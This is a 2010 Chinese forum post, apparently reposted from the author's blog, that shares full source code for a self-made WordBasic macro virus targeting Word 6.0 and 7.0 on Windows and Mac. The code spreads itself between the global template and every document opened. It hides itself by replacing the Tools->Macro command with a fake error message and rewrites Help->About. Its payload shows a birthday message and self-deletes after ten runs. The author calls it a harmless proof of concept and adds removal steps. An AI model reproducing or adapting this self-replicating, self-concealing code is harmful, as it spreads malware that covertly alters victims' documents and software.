主题 : 【分享】自制的WordBasic简单宏病毒
义务网评猿
级别: 论坛版主
UID: 50665
精华: 7
发帖: 2924
威望: 13 星
金钱: 385657 浮游币
贡献值: 8748 点
好评度: 10293 点
人气: 760 点
在线时间: 697(时)
注册时间: 2005-08-02
最后登录: 2020-12-17
楼主  发表于: 2010-04-09 22:34

【分享】自制的WordBasic简单宏病毒

WordBasic是什么?是指Microsoft Word从2.0版本到7.0版本所具有的脚本编程或者称之为“宏”功能。虽然它并不如Word 97之后取代它的VBA那么强大,但是也能对Word的整个界面进行定制,进行磁盘文件操作,运行一部分平台API函数,也能将宏在多个文件之间进行拷贝。我最近蛋疼了一下,在Word7.0英文版、中文版环境下作了一个简单的WordBasic宏病毒,而且也能在Word 6.0 for Macintosh上运行。
这个宏AutoOpen,寄生于Normal.dot中,当打开任何文件时会将自身复制到打开的文件中,并将目标文件保存为模板(Word7.0和以下不支持在普通文档中储存宏)。同时劫持ToolsMacro(工具->宏),使得无法查看宏代码。payload 部分包括在4月15日祝本人生日快乐,并且统计运行次数,超过10次,则写入AutoExec宏,在下一次启动Word时将Normal模板中的本代码销毁。
其代码列表如下(必须是GB2312内码)
Dim Shared dname$, sname$, mname$, isscw, ismac '全局变量,包括判断是否中文Word,是否Mac
Sub MAIN

    On Error Resume Next
  
    DisableAutoMacros 0
    FileSummaryInfo .Update
    Dim gname As FileSummaryInfo    '获得当前打开的文件信息
    GetCurValues gname
    sysv$ = AppInfo$(16) '获得系统的拼写检查语言,来判断是否中文版
    sysp$ = AppInfo$(1) '获得平台,判断是否Mac
    If InStr(sysp$, "Win") Then
    sname$ = gname.Directory + "\" + gname.FileName + ":autoopen"
    ismac = 0 'Windows平台,得到打开的文件的Windows形式路径
    Else
    sname$ = gname.Directory + ":" + gname.FileName + ":autoopen"
    ismac = 1 'MacOS Classic平台,得到打开的文件的MacOS形式路径
    End If

    mgyy$ = "美国英语"
    If sysv$ <>  mgyy$ Then '根据拼写检查语言的返回值判断是否中文Word
    dname$ = "global:autoopen"
    isscw = 0    '英文版的Normal命名空间“Global”
    Else
    dname$ = String$(1, 85) + String$(1, 178) + String$(1, 211) + String$(1, 195) + ":autoopen"
    isscw = 1    '中文版的Normal命名空间“共用”,注意WordBasic的Chr$不支持高Ascii,只能用String$
    End If
  
    mname$ = LCase$(Right$(MacroFileName$(MacroName$(0)), 10))  

    If InStr(mname$, "normal") Then   '判断是否运行于Normal模板中(文件路径最后10个字符中是否有Normal)
    MacroCopy dname$, sname$
    FileSaveAs .Format = 1        '是则将自身复制到打开的文件中,并将打开的文件改为模板
    Else
    MacroCopy sname$, dname$      '否则将自身复制到Normal模板中
    End If

    changeabout       '调用修改“帮助—>关于”子程序
    changetoolsmacro   '调用修改“工具->宏”子程序
    pload             '调用Payload
End Sub

Sub changeabout
    On Error Resume Next
    ToolsMacro .Name = "helpabout", .Delete, .Show = 0   '删除已有的“帮助—>关于”子程序
    ToolsMacro .Name = "helpabout", .Edit, .Show = 0    '新建“帮助—>关于”子程序
    LineUp 1
    InsertPara
    Insert "Msgbox"
    Insert Chr$(34) + "by yksoft1 in 2010"
    If isscw = 1 Then Insert " 中文Word照样中!"
    Insert Chr$(34)
    InsertPara
    DocClose 1    '在正常代码前插入弹出消息框代码
End Sub

Sub changetoolsmacro
    On Error Resume Next
    ToolsMacro .Name = "toolsmacro", .Delete, .Show = 0     '删除已有的“工具—>宏”子程序
    ToolsMacro .Name = "toolsmacro", .Edit, .Show = 0      '新建“工具—>宏”子程序
    LineUp 4, 1
  
    InsertPara
    Insert "Msgbox"
    Insert Chr$(34)
    If isscw = 1 Then
    Insert "这个选项目前无法使用。"
    Else
    Insert "This option is currently unavailable."
    End If
    Insert Chr$(34)
    Insert "," + Chr$(34) + "Microsoft Word" + Chr$(34) + ",48"
  
    DocClose 1    '将正常代码替换为显示消息框
End Sub

Sub pload
    On Error Resume Next
    d = Today()
    If Month(d) = 4 And Day(d) = 15 Then
    If isscw = 0 Then
    MsgBox "Happy birthday to yksoft1!", "YKSOFT Systems", 48
    Else
    MsgBox "yksoft1 生日快乐!", "YKSOFT Systems", 48    '祝我生日快乐
    End If
    End If
    sV$ = GetProfileString$("Microsoft Word", "yk-mvirus")   '从WINWORD6.INI取得运行次数
    ic = Val(sV$)
    If ic >= 10 Then
    autoexec_kill  '调用自毁程序生成段
    Else
    ToolsMacro .Name = "autoexec", .Delete, .Show = 0
    End If
    SetProfileString("Microsoft Word",  "yk-mvirus", LTrim$(Str$(ic + 1))  '运行次数+1
  
End Sub

Sub autoexec_kill
    On Error Resume Next
    ToolsMacro .Name = "autoexec", .Delete, .Show = 0  '删除现有AutoExec宏
    ToolsMacro .Name = "autoexec", .Edit, .Show = 0   '新建AutoExec宏
    Insert "On Error Resume Next"
    InsertPara
    Insert "ToolsMacro .Name= "
    Insert Chr$(34)
    Insert "autoopen"
    Insert Chr$(34)
    Insert ", .Delete, .Show=0"
    InsertPara
    Insert "ToolsMacro .Name= "
    Insert Chr$(34)
    Insert "helpabout"
    Insert Chr$(34)
    Insert ", .Delete, .Show=0"
    InsertPara
    Insert "ToolsMacro .Name= "
    Insert Chr$(34)
    Insert "toolsmacro"
    Insert Chr$(34)
    Insert ", .Delete, .Show=0"
    InsertPara
    DocClose 1   '删除本病毒的主程序及生成的ToolsMacro、HelpAbout宏
  
End Sub

删除方法:文件->模板->管理器->宏,找到AutoOpen、ToolsMacro和HelpAbout,删除之

经过调试发现这段代码应该可以用同一个Word 7.0英文版的模板文件在Word 7.0英文版、Word 7.0中文版、Word 6.0 for Macintosh英文版中实现感染和表现代码,如果直接创建,也能在Word 6.0中文版中正常运行。据我所查到的资料,Word 非英文的西方语言版本 菜.单项对应的宏名称与英文版不同,而且我还没搞到德、法之类语言版本的Word 7.0或者6.0,因此还不能实现本病毒的运行效果。

WordBasic基本随着Word 7.0的死亡而死了,当初Word 97的WordBasic->VBA转换器,并不能支持我在此病毒中新建宏的操作。因此这段代码应该在这个时代没有破坏性可言,只是一个概念证明而已。

这是来自YKSOFT's Home博客,http://yksoft1.spaces.live.com/blog/cns!66B9967EC9D22DD4!1175.entry 的一篇文章。
目前我已经将这个代码改得更加结构化、完善化。
燃烧的热血。。
坚强的意志。。
造就了YKSOFT Systems
http://yksoft1.spaces.live.com
我是宇宙最棒的!
级别: 模拟之星
UID: 247572
精华: 0
发帖: 1211
威望: 5 星
金钱: 548 浮游币
贡献值: 265 点
好评度: 3705 点
人气: 6 点
在线时间: 127(时)
注册时间: 2007-09-07
最后登录: 2024-05-23
沙发  发表于: 2010-05-14 13:05

这类还是专业的人使用易上手
真相永远只有一个!